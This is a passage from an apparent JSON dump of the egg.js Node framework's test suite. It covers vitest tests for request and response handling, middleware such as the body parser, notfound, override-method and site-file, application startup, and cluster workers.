=> {\n        const context = app.mockContext(\n          {\n            headers: {\n              accept: 'text/html',\n            },\n            url: '/',\n          },\n          { reuseCtxStorage: false },\n        );\n        const request = context.request;\n        assert(request.acceptJSON === false);\n      });\n    });\n  });\n\n  describe('work with egg app', () => {\n    let app: MockApplication;\n    let host: string;\n    beforeAll(() => {\n      app = createApp('apps/querystring-extended');\n      return app.ready();\n    });\n    beforeAll(async () => {\n      const server = app.listen(0);\n      await once(server, 'listening');\n      host = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;\n    });\n    afterAll(() => app.close());\n\n    it('should return query and queries', async () => {\n      const res = await urllib.request(`${host}/?p=a,b&p=b,c&a[foo]=bar`, {\n        dataType: 'json',\n      });\n      assert.deepEqual(res.data, {\n        query: { p: 'a,b', 'a[foo]': 'bar' },\n        queries: { p: ['a,b', 'b,c'], 'a[foo]': ['bar'] },\n      });\n    });\n\n    it('should work with encodeURIComponent', async () => {\n      const res = await urllib.request(`${host}/?p=a,b&p=b,c&${encodeURIComponent('a[foo]')}=bar`, {\n        dataType: 'json',\n      });\n      assert.deepEqual(res.data, {\n        query: { p: 'a,b', 'a[foo]': 'bar' },\n        queries: { p: ['a,b', 'b,c'], 'a[foo]': ['bar'] },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/response.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { restore, type MockApplication, createApp } from '../../utils.js';\n\ndescribe('test/app/extend/response.test.ts', () => {\n  afterEach(restore);\n\n  describe('length and type', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/response');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get case sensitive header', () => {\n      return app\n        .httpRequest()\n        .get('/')\n        .expect(200)\n        .expect((res: any) => {\n          assert.match(JSON.stringify(res.res.rawHeaders), /Content-Type/);\n          assert.match(JSON.stringify(res.res.rawHeaders), /Content-Length/);\n        });\n    });\n\n    it('should get {} body', async () => {\n      const res = await app.httpRequest().get('/empty-json').expect(200);\n      assert.deepEqual(res.body, {});\n      assert.equal(res.headers['content-length'], '2');\n      assert.equal(res.headers['content-type'], 'application/json; charset=utf-8');\n    });\n\n    it('should get body length', () => {\n      const ctx = app.mockContext();\n      ctx.body = null;\n      const response = ctx.response;\n      response.remove('content-length');\n      assert.equal(response.length, undefined);\n\n      ctx.body = '1';\n      response.remove('content-length');\n      assert.equal(response.length, 1);\n\n      ctx.body = Buffer.alloc(2);\n      response.remove('content-length');\n      assert.equal(response.length, 2);\n\n      ctx.body = { foo: 'bar' };\n      response.remove('content-length');\n      assert.equal(response.length, 13);\n\n      ctx.body = '{}';\n      response.remove('content-length');\n      assert.equal(response.length, 2);\n\n      ctx.body = {};\n      response.remove('content-length');\n      assert.equal(response.length, 2);\n\n      // mock stream\n      // ctx.body = { pipe() {} };\n      // response.remove('content-length');\n      // assert.equal(response.length, undefined);\n    });\n  });\n\n  describe('test on apps/demo', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    describe('response.realStatus', () => {\n      it('should get from status ok', () => {\n        const ctx = app.mockContext();\n        ctx.response.status = 200;\n        assert(ctx.response.realStatus === 200);\n        assert(ctx.realStatus === 200);\n      });\n\n      it('should get from realStatus ok', () => {\n        const ctx = app.mockContext();\n        ctx.response.status = 302;\n        ctx.response.realStatus = 404;\n        assert(ctx.response.realStatus === 404);\n        assert(ctx.realStatus === 404);\n      });\n    });\n\n    describe('response.type = type', () => {\n      it('should remove content-type when type is invalid', () => {\n        let ctx = app.mockContext();\n        ctx.response.type = 'html';\n        assert.equal(ctx.response.header['content-type'], 'text/html; charset=utf-8');\n        assert.equal(ctx.response.type, 'text/html');\n\n        ctx.response.type = 'xml';\n        assert.equal(ctx.response.header['content-type'], 'application/xml');\n        assert.equal(ctx.response.type, 'application/xml');\n\n        ctx = app.mockContext();\n        ctx.response.type = 'html-ooooooxxx';\n        assert.equal(ctx.response.header['content-type'], undefined);\n        assert.equal(ctx.response.type, '');\n\n        ctx.response.type = 'html';\n        assert.equal(ctx.response.header['content-type'], 'text/html; charset=utf-8');\n        assert.equal(ctx.response.type, 'text/html');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/middleware/body_parser.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport querystring from 'node:querystring';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/app/middleware/body_parser.test.ts', () => {\n  let app: MockApplication;\n  let app1: MockApplication;\n  let csrf: string;\n  let cookies: string;\n  beforeAll(async () => {\n    app = createApp('apps/body_parser_testapp');\n    await app.ready();\n    const res = await app.httpRequest().get('/test/body_parser/user').expect(200);\n    csrf = res.body.csrf || '';\n    cookies = (res.headers['set-cookie'] as any).join(';');\n    assert(csrf);\n  });\n\n  afterAll(() => app.close());\n  afterEach(() => app1 && app1.close());\n\n  it('should 200 when post form body below the limit', () => {\n    return (\n      app\n        .httpRequest()\n        .post('/test/body_parser/user')\n        .set('Cookie', cookies)\n        .set('Content-Type', 'application/x-www-form-urlencoded')\n        .set('Accept', 'application/json')\n        // https://snyk.io/vuln/npm:qs:20170213 test case\n        .send(querystring.stringify({ foo: 'bar', _csrf: csrf, ']': 'toString' }))\n        .expect({ foo: 'bar', _csrf: csrf, ']': 'toString' })\n        .expect(200)\n    );\n  });\n\n  it('should 200 when post json with content-type: application/json;charset=utf-8', () => {\n    app.mockCsrf();\n    return app\n      .httpRequest()\n      .post('/test/body_parser/user')\n      .set('Cookie', cookies)\n      .set('Content-Type', 'application/json;charset=utf-8')\n      .send({ test: 1 })\n      .expect({ test: 1 })\n      .expect(200);\n  });\n\n  // fix https://github.com/eggjs/egg/issues/5214\n  it('should 200 when post json with `content-type: application/json;charset=utf-8;`', () => {\n    app.mockCsrf();\n    return app\n      .httpRequest()\n      .post('/test/body_parser/user')\n      .set('Cookie', cookies)\n      .set('Content-Type', 'application/json;charset=utf-8;')\n      .send({ test: 1 })\n      .expect({ test: 1 })\n      .expect(200);\n  });\n\n  it('should 200 when post json body below the limit', () => {\n    return app\n      .httpRequest()\n      .post('/test/body_parser/user')\n      .set('Cookie', cookies)\n      .set('Content-Type', 'application/json')\n      .send({ foo: 'bar', _csrf: csrf, ']': 'toString' })\n      .expect({ foo: 'bar', _csrf: csrf, ']': 'toString' })\n      .expect(200);\n  });\n\n  it('should 413 when post json body over the limit', () => {\n    app.mockCsrf();\n    return app\n      .httpRequest()\n      .post('/test/body_parser/user')\n      .set('Connection', 'keep-alive')\n      .send({ foo: 'a'.repeat(1024 * 200) })\n      .expect(/request entity too large, check bodyParser config/)\n      .expect(413);\n  });\n\n  it('should 400 when GET with invalid body', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/test/body_parser/user')\n      .set('content-type', 'application/json')\n      .set('content-encoding', 'gzip')\n      .expect(/unexpected end of file, check bodyParser config/)\n      .expect(400);\n\n    await app\n      .httpRequest()\n      .get('/test/body_parser/user')\n      .set('content-type', 'application/json')\n      .set('content-encoding', 'gzip')\n      .send({ foo: 'a'.repeat(1024) })\n      .expect(/incorrect header check, check bodyParser config/)\n      .expect(400);\n  });\n\n  it('should 400 when POST with Prototype-Poisoning body', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .post('/test/body_parser/user')\n      .set('content-type', 'application/json')\n      .set('content-encoding', 'gzip')\n      .expect(/unexpected end of file, check bodyParser config/)\n      .expect(400);\n  });\n\n  it('should disable body parser', async () => {\n    app1 = createApp('apps/body_parser_testapp_disable');\n    await app1.ready();\n\n    await app1.httpRequest().post('/test/body_parser/foo.json').send({ foo: 'bar', ']': 'toString' }).expect(204);\n  });\n\n  it('should body parser support ignore', async () => {\n    app1 = createApp('apps/body_parser_testapp_ignore');\n    await app1.ready();\n\n    await app1.httpRequest().post('/test/body_parser/foo.json').send({ foo: 'bar', ']': 'toString' }).expect(204);\n\n    await app1\n      .httpRequest()\n      .post('/test/body_parser/form.json')\n      .set('Content-Type', 'application/x-www-form-urlencoded')\n      .send({ foo: 'bar', ']': 'toString' })\n      .expect({ foo: 'bar', ']': 'toString' });\n  });\n\n  it('should body parser support match', async () => {\n    app1 = createApp('apps/body_parser_testapp_match');\n    await app1.ready();\n\n    await app1\n      .httpRequest()\n      .post('/test/body_parser/foo.json')\n      .send({ foo: 'bar', ']': 'toString' })\n      .expect({ foo: 'bar', ']': 'toString' });\n\n    await app1\n      .httpRequest()\n      .post('/test/body_parser/form.json')\n      .set('Content-Type', 'application/x-www-form-urlencoded')\n      .send({ foo: 'bar', ']': 'toString' })\n      .expect(204);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/middleware/meta.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication, restore, cluster } from '../../utils.js';\n\ndescribe('test/app/middleware/meta.test.ts', () => {\n  afterEach(restore);\n\n  let app: MockApplication;\n\n  describe('default config', () => {\n    beforeAll(() => {\n      app = createApp('apps/middlewares');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get X-Readtime header', () => {\n      return app\n        .httpRequest()\n        .get('/')\n        .expect('X-Readtime', /^\\d+\\.\\d{1,3}$/)\n        .expect(200);\n    });\n  });\n\n  describe('config.logger.enablePerformanceTimer = true', () => {\n    beforeAll(() => {\n      app = createApp('apps/middlewares-meta-enablePerformanceTimer');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get X-Readtime header', async () => {\n      for (let i = 0; i < 10; i++) {\n        await app\n          .httpRequest()\n          .get(`/?i=${i}`)\n          .expect('X-Readtime', /^\\d+\\.\\d{1,3}$/)\n          .expect(200);\n      }\n    });\n  });\n\n  describe('meta.logging = true', () => {\n    beforeAll(() => {\n      app = createApp('apps/meta-logging-app');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get X-Readtime header', async () => {\n      await app.httpRequest().get('/?foo=bar').expect('X-Readtime', /\\d+/).expect('hello world').expect(200);\n      if (process.platform === 'win32') {\n        await scheduler.wait(2000);\n      }\n      const content = (await fs.readFile(app.coreLogger.options.file, 'utf8')).split('\\n').slice(-2, -1)[0];\n      assert.match(content, /\\[meta] request started, host: /);\n    });\n  });\n\n  describe('cluster start', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = cluster('apps/middlewares');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should ignore keep-alive header when request is not keep-alive', () => {\n      return app\n        .httpRequest()\n        .get('/')\n        .expect('X-Readtime', /\\d+/)\n        .expect((res: any) => assert(!res.headers['keep-alive']))\n        .expect(200);\n    });\n\n    it('should return keep-alive header when request is keep-alive', () => {\n      return app\n        .httpRequest()\n        .get('/')\n        .set('connection', 'keep-alive')\n        .expect('X-Readtime', /\\d+/)\n        .expect('keep-alive', 'timeout=5')\n        .expect(200);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/middleware/notfound.test.ts",
    "content": "import { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type MockApplication, restore, mm } from '../../utils.ts';\n\ndescribe('test/app/middleware/notfound.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/notfound');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(restore);\n\n  it('should 302 redirect to 404.html', () => {\n    return app\n      .httpRequest()\n      .get('/test/404')\n      .set('Accept', 'test/html')\n      .expect('Location', 'https://eggjs.org/404')\n      .expect(302);\n  });\n\n  it('should 404 json response', () => {\n    return app\n      .httpRequest()\n      .get('/test/404.json?ctoken=404')\n      .set('Cookie', 'ctoken=404')\n      .expect('content-type', 'application/json; charset=utf-8')\n      .expect({\n        message: 'Not Found',\n      })\n      .expect(404);\n  });\n\n  it('should 404 json response on rest api', () => {\n    return app\n      .httpRequest()\n      .get('/api/404.json?ctoken=404')\n      .set('Cookie', 'ctoken=404')\n      .expect({\n        message: 'Not Found',\n      })\n      .expect(404);\n  });\n\n  it('should show 404 page content when antx notfound.pageUrl not set', () => {\n    mm(app.config.notfound, 'pageUrl', '');\n    return app.httpRequest().get('/foo').expect('<h1>404 Not Found</h1>').expect(404);\n  });\n\n  describe('config.notfound.pageUrl = \"/404\"', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/notfound-custom-404');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    afterEach(mm.restore);\n\n    it('should 302 redirect to custom /404 when required html', async () => {\n      await app.httpRequest().get('/test/404').set('Accept', 'test/html').expect('Location', '/404').expect(302);\n\n      await app.httpRequest().get('/404').expect('Hi, this is 404').expect(200);\n    });\n\n    it('should not avoid circular redirects', async () => {\n      mm(app.config.notfound, 'pageUrl', '/notfound');\n\n      await app.httpRequest().get('/test/404').set('Accept', 'test/html').expect('Location', '/notfound').expect(302);\n\n      await app\n        .httpRequest()\n        .get('/notfound')\n        .expect(\n          '<h1>404 Not Found</h1><p><pre><code>config.notfound.pageUrl(/notfound)</code></pre> is unimplemented</p>',\n        )\n        .expect(404);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/middleware/override_method.test.ts",
    "content": "import { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.js';\n\ndescribe('test/app/middleware/override_method.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/override_method');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should put', () => {\n    app.mockCsrf();\n    return app.httpRequest().post('/test').send({ _method: 'PUT' }).expect(200).expect('test-put');\n  });\n\n  it('should patch', () => {\n    app.mockCsrf();\n    return app.httpRequest().post('/test').send({ _method: 'PATCH' }).expect(200).expect('test-patch');\n  });\n\n  it('should delete', () => {\n    app.mockCsrf();\n    return app.httpRequest().post('/test').send({ _method: 'DELETE' }).expect(200).expect('test-delete');\n  });\n\n  it('should not work on PUT request', () => {\n    app.mockCsrf();\n    return app.httpRequest().put('/test').send({ _method: 'DELETE' }).expect(200).expect('test-put');\n  });\n\n  it('should not work on GET request', () => {\n    return app.httpRequest().get('/test').set('x-http-method-override', 'DELETE').expect(200).expect('test-get');\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/middleware/site_file.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/app/middleware/site_file.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/middlewares-site-file');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should GET /favicon.ico 200', () => {\n    return app.httpRequest().get('/favicon.ico').expect('content-type', 'image/vnd.microsoft.icon').expect(200);\n  });\n\n  it('should GET /favicon.ico?t=123 200', () => {\n    return app.httpRequest().get('/favicon.ico?t=123').expect('content-type', 'image/vnd.microsoft.icon').expect(200);\n  });\n\n  it('should 200 when accessing /robots.txt', () => {\n    return app\n      .httpRequest()\n      .get('/robots.txt')\n      .expect(/^User-agent: Baiduspider\\r?\\nDisallow: \\/\\r?\\n\\r?\\nUser-agent: baiduspider\\r?\\nDisallow: \\/$/)\n      .expect(200);\n  });\n\n  it('should 200 when accessing crossdomain.xml', () => {\n    return app.httpRequest().get('/crossdomain.xml').expect('xxx').expect(200);\n  });\n\n  it('should support HEAD', () => {\n    return (\n      app\n        .httpRequest()\n        .head('/robots.txt')\n        .expect((res) => assert(Number(res.header['content-length']) > 0))\n        // body must be empty for HEAD\n        .expect((res) => assert.equal(res.text, undefined))\n        .expect(200)\n    );\n  });\n\n  it('should ignore POST', () => {\n    return app.httpRequest().post('/robots.txt').expect(404);\n  });\n\n  it('normal router should work', () => {\n    return app.httpRequest().get('/').expect('home').expect(200);\n  });\n\n  it('not defined router should 404', () => {\n    return app.httpRequest().get('/xxx').expect(404);\n  });\n\n  it('should 404 when accessing fake.txt using wrong config', () => {\n    return app.httpRequest().get('/fake.txt').expect(404);\n  });\n\n  describe('custom favicon', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/favicon');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should redirect https://eggjs.org/favicon.ico', () => {\n      return app\n        .httpRequest()\n        .get('/favicon.ico')\n        .expect(302)\n        .expect((res) => {\n          assert(!res.headers['set-cookie']);\n          assert.equal(res.headers.location, 'https://eggjs.org/favicon.ico');\n        });\n    });\n  });\n\n  describe('custom favicon with Buffer content', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/favicon-buffer');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should redirect https://eggjs.org/favicon.ico', () => {\n      return app.httpRequest().get('/favicon.ico').expect(200);\n    });\n  });\n\n  describe('custom favicon with function', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/favicon-function');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should redirect https://eggjs.org/favicon.ico', () => {\n      return app\n        .httpRequest()\n        .get('/favicon.ico')\n        .expect(302)\n        .expect((res) => {\n          assert(!res.headers['set-cookie']);\n          assert(res.headers.location === 'https://eggjs.org/function/favicon.ico');\n        });\n    });\n  });\n\n  describe('siteFile.cacheControl = no-store', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/siteFile-custom-cacheControl');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get custom cache-control', async () => {\n      await app.httpRequest().get('/favicon.ico').expect('cache-control', 'no-store').expect(200);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/application.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { once } from 'node:events';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { Application } from '../src/index.ts';\nimport { type MockApplication, cluster, createApp, getFilepath, startLocalServer } from './utils.ts';\n\ndescribe('test/application.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(mm.restore);\n\n  describe('create application', () => {\n    it('should throw options.baseDir required', () => {\n      assert.throws(() => {\n        new Application({\n          baseDir: 1,\n        } as any);\n      }, /options.baseDir required, and must be a string/);\n    });\n\n    it('should throw options.baseDir not exist', () => {\n      assert.throws(() => {\n        new Application({\n          baseDir: 'not-exist',\n        });\n      }, /not-exist not exists/);\n    });\n\n    it('should throw options.baseDir is not a directory', () => {\n      assert.throws(() => {\n        new Application({\n          baseDir: getFilepath('custom-egg/index.js'),\n        });\n      }, /not a directory|no such file or directory/);\n    });\n  });\n\n  describe.skip('app start timeout', () => {\n    afterEach(() => app.close());\n    it('should emit `startTimeout` event', async () => {\n      app = createApp('apps/app-start-timeout');\n      await once(app, 'startTimeout');\n    });\n  });\n\n  describe('app.keys', () => {\n    it('should throw when config.keys missing on non-local and non-unittest env', async () => {\n      mm.env('test');\n      app = createApp('apps/keys-missing');\n      await app.ready();\n      mm(app.config, 'keys', null);\n\n      try {\n        app.keys;\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message === 'Please set config.keys first');\n      }\n\n      // make sure app close\n      await app.close();\n    });\n\n    it('should throw when config.keys missing on unittest env', async () => {\n      mm.env('unittest');\n      app = createApp('apps/keys-missing');\n      await app.ready();\n      mm(app.config, 'keys', null);\n\n      try {\n        app.keys;\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message === 'Please set config.keys first');\n      }\n\n      // make sure app closed\n      await app.close();\n    });\n\n    it('should throw when config.keys missing on local env', async () => {\n      mm.env('local');\n      app = createApp('apps/keys-missing');\n      await app.ready();\n      mm(app.config, 'keys', null);\n\n      try {\n        app.keys;\n        throw new Error('should not run this');\n      } catch (err: any) {\n        assert(err.message === 'Please set config.keys first');\n      }\n\n      // make sure app closed\n      await app.close();\n    });\n\n    it('should use exists keys', async () => {\n      mm.env('unittest');\n      app = createApp('apps/keys-exists');\n      await app.ready();\n\n      assert(app.keys);\n      assert(app.keys);\n      assert(app.config.keys === 'my keys');\n\n      await app.close();\n    });\n  });\n\n  describe.skip('handle uncaughtException', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = cluster('apps/app-throw');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should handle uncaughtException and log it', async () => {\n      await app.httpRequest().get('/throw').expect('foo').expect(200);\n\n      await scheduler.wait(1100);\n      const logfile = path.join(getFilepath('apps/app-throw'), 'logs/app-throw/common-error.log');\n      const body = fs.readFileSync(logfile, 'utf8');\n      assert(body.includes('ReferenceError: a is not defined (uncaughtException throw'));\n    });\n  });\n\n  describe.skip('handle uncaughtException when error has only a getter', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = cluster('apps/app-throw');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should handle uncaughtException and log it', async () => {\n      await app.httpRequest().get('/throw-error-setter').expect('foo').expect(200);\n\n      await scheduler.wait(1100);\n      const logfile = path.join(getFilepath('apps/app-throw'), 'logs/app-throw/common-error.log');\n      const body = fs.readFileSync(logfile, 'utf8');\n      assert(body.includes('abc (uncaughtException throw 1 times on pid'));\n    });\n  });\n\n  describe('warn confused configurations', () => {\n    it('should warn if confused configurations exist', async () => {\n      const app = createApp('apps/confused-configuration');\n      await app.ready();\n      await scheduler.wait(1000);\n      const logs = fs.readFileSync(\n        getFilepath('apps/confused-configuration/logs/confused-configuration/confused-configuration-web.log'),\n        'utf8',\n      );\n      assert.match(logs, /Unexpected config key `'bodyparser'` exists, Please use `'bodyParser'` instead\\./);\n      assert.match(logs, /Unexpected config key `'notFound'` exists, Please use `'notfound'` instead\\./);\n      assert.match(logs, /Unexpected config key `'sitefile'` exists, Please use `'siteFile'` instead\\./);\n      assert.match(logs, /Unexpected config key `'middlewares'` exists, Please use `'middleware'` instead\\./);\n      assert.match(logs, /Unexpected config key `'httpClient'` exists, Please use `'httpclient'` instead\\./);\n    });\n  });\n\n  describe('test on apps/demo', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    describe('application.deprecate', () => {\n      it('should get deprecate with namespace egg', async () => {\n        assert.equal(typeof app.deprecate, 'function');\n      });\n    });\n\n    describe('curl()', () => {\n      it('should curl success', async () => {\n        const localServer = await startLocalServer();\n        const res = await app.curl(`${localServer}/foo/app`);\n        assert.equal(res.status, 200);\n      });\n    });\n\n    describe('env', () => {\n      it('should return app.config.env', () => {\n        assert(app.env === app.config.env);\n      });\n    });\n\n    describe('proxy', () => {\n      it('should delegate app.config.proxy', () => {\n        assert(app.proxy === app.config.proxy);\n      });\n    });\n\n    describe('inspect && toJSON', () => {\n      it('should override koa method', () => {\n        const inspectResult = app.inspect();\n        const jsonResult = app.toJSON();\n        assert.deepEqual(inspectResult, jsonResult);\n        assert.equal(inspectResult.env, app.config.env);\n      });\n    });\n\n    describe('class style controller', () => {\n      it('should work with class style controller', () => {\n        return app.httpRequest().get('/class-controller').expect('this is bar!').expect(200);\n      });\n    });\n\n    describe('request and response event', () => {\n      it('should emit when request success', async () => {\n        await app.httpRequest().get('/class-controller').expect('this is bar!').expect(200);\n      });\n\n      it('should emit when request error', async () => {\n        await app.httpRequest().get('/obj-error').expect(500);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/asyncSupport.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, restore, type MockApplication } from './utils.ts';\n\ndescribe.skipIf(process.platform === 'win32')('test/asyncSupport.test.ts', () => {\n  afterEach(restore);\n\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = createApp('apps/async-app');\n    await app.ready();\n    assert.equal(Reflect.get(app, 'beforeStartExecuted'), true);\n    assert.equal(Reflect.get(app, 'scheduleExecuted'), true);\n  });\n  afterAll(async () => {\n    await app.close();\n    assert.equal(Reflect.get(app, 'beforeCloseExecuted'), true);\n  });\n\n  it('middleware, controller and service should support async functions', async () => {\n    await app.httpRequest().get('/api').expect(200).expect(['service', 'controller', 'router', 'middleware']);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/bench/hello/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Home extends app.Controller {\n    async index() {\n      const { ctx } = this;\n      ctx.body = 'hello world';\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/bench/hello/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "packages/egg/test/bench/hello/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'hello app';\n\nexports.security = {\n  csrf: false,\n};\n"
  },
  {
    "path": "packages/egg/test/bench/hello/package.json",
    "content": "{\n  \"name\": \"hello\"\n}\n"
  },
  {
    "path": "packages/egg/test/bench/server.js",
    "content": "const http = require('http');\nconst path = require('path');\nconst mock = require('@eggjs/mock');\n\nconst appName = process.argv[2];\n\nconst app = mock.app({\n  baseDir: path.join(__dirname, appName),\n  framework: path.join(__dirname, '../..'),\n});\n\napp.ready().then(() => {\n  console.log('app(%s) ready', app.config.baseDir);\n\n  const server = http.createServer(app.callback());\n  // emit server event just like egg-cluster\n  // https://github.com/eggjs/egg-cluster/blob/master/lib/app_worker.js#L52\n  app.emit('server', server);\n\n  server.listen(7001, () => {\n    console.log('Server started at 7001');\n  });\n});\n\n// see https://www.smashingmagazine.com/2018/06/nodejs-tools-techniques-performance-servers/\n// $ clinic doctor --on-port 'autocannon http://localhost:7001' -- node server.js hello\n// $ clinic flame --on-port 'autocannon http://localhost:7001' -- node server.js hello\n"
  },
  {
    "path": "packages/egg/test/cluster1/app_worker.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport net from 'node:net';\nimport { scheduler } from 'node:timers/promises';\n\nimport { request } from '@eggjs/supertest';\nimport { ip } from 'address';\nimport { describe, it, beforeAll, afterAll, afterEach, beforeEach } from 'vitest';\n\nimport { cluster, type MockApplication } from '../utils.ts';\n\nconst DEFAULT_BAD_REQUEST_HTML = `<html>\n  <head><title>400 Bad Request</title></head>\n  <body bgcolor=\"white\">\n  <center><h1>400 Bad Request</h1></center>\n  <hr><center>❤</center>\n  </body>\n  </html>`;\n\ndescribe('test/cluster1/app_worker.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = cluster('apps/app-server');\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  // FIXME: unsable\n  it.skip('should start cluster success and app worker emit `server` event', async () => {\n    await app.httpRequest().get('/').expect('true');\n  });\n\n  it('should response 400 bad request when HTTP request packet broken', async () => {\n    const test1 = app\n      .httpRequest()\n      // Node.js (http-parser) will occur an error while the raw URI in HTTP\n      // request packet containing space.\n      //\n      // Refs: https://zhuanlan.zhihu.com/p/31966196\n      .get('/foo bar');\n    const test2 = app.httpRequest().get('/foo baz');\n\n    // app.httpRequest().expect() will encode the uri so that we cannot\n    // request the server with raw `/foo bar` to emit 400 status code.\n    //\n    // So we generate `test.req` via `test.request()` first and override the\n    // encoded uri.\n    //\n    // `test.req` will only generated once:\n    //\n    //   ```\n    //   function Request::request() {\n    //     if (this.req) return this.req;\n    //\n    //     // code to generate this.req\n    //\n    //     return this.req;\n    //   }\n    //   ```\n    (test1 as any).request().path = '/foo bar';\n    (test2 as any).request().path = '/foo baz';\n\n    await Promise.all([\n      test1.expect(DEFAULT_BAD_REQUEST_HTML).expect(400),\n      test2.expect(DEFAULT_BAD_REQUEST_HTML).expect(400),\n    ]);\n  });\n\n  describe.skip('server timeout', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      app = cluster('apps/app-server-timeout');\n      // app.debug();\n      return app.ready();\n    });\n    afterEach(() => app.close());\n\n    it('should not timeout', () => {\n      return app.httpRequest().get('/').expect(200);\n    });\n\n    it('should timeout', async () => {\n      await assert.rejects(async () => {\n        await app.httpRequest().get('/timeout');\n      }, /socket hang up/);\n      app.expect('stdout', /\\[http_server] A request `GET \\/timeout` timeout with client/);\n    });\n  });\n\n  describe.skip('customized client error', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      app = cluster('apps/app-server-customized-client-error');\n      // app.debug();\n      return app.ready();\n    });\n    afterEach(() => app.close());\n\n    it('should do customized request when HTTP request packet broken', async () => {\n      const version = process.version.split('.').map((a) => parseInt(a.replace('v', '')));\n      let html: string | RegExp = '';\n      if ((version[0] === 8 && version[1] >= 10) || (version[0] === 9 && version[1] >= 4) || version[0] > 9) {\n        html = new RegExp(\n          'GET /foo bar HTTP/1.1\\r\\nHost: 127.0.0.1:\\\\d+\\r\\nAccept-Encoding: gzip, ' +\n            'deflate\\r\\nUser-Agent: @eggjs/mock/\\\\d+.\\\\d+.\\\\d+ Node\\\\.js/v\\\\d+.\\\\d+.\\\\d+\\r\\nConnection: close\\r\\n\\r\\n',\n        );\n      }\n\n      // customized client error response\n      const test1 = app.httpRequest().get('/foo bar');\n      (test1 as any).request().path = '/foo bar';\n      await test1.expect(html).expect('foo', 'bar').expect('content-length', '147').expect(418);\n\n      // customized client error handle function throws\n      const test2 = app.httpRequest().get('/foo bar');\n      (test2 as any).request().path = '/foo bar';\n      await 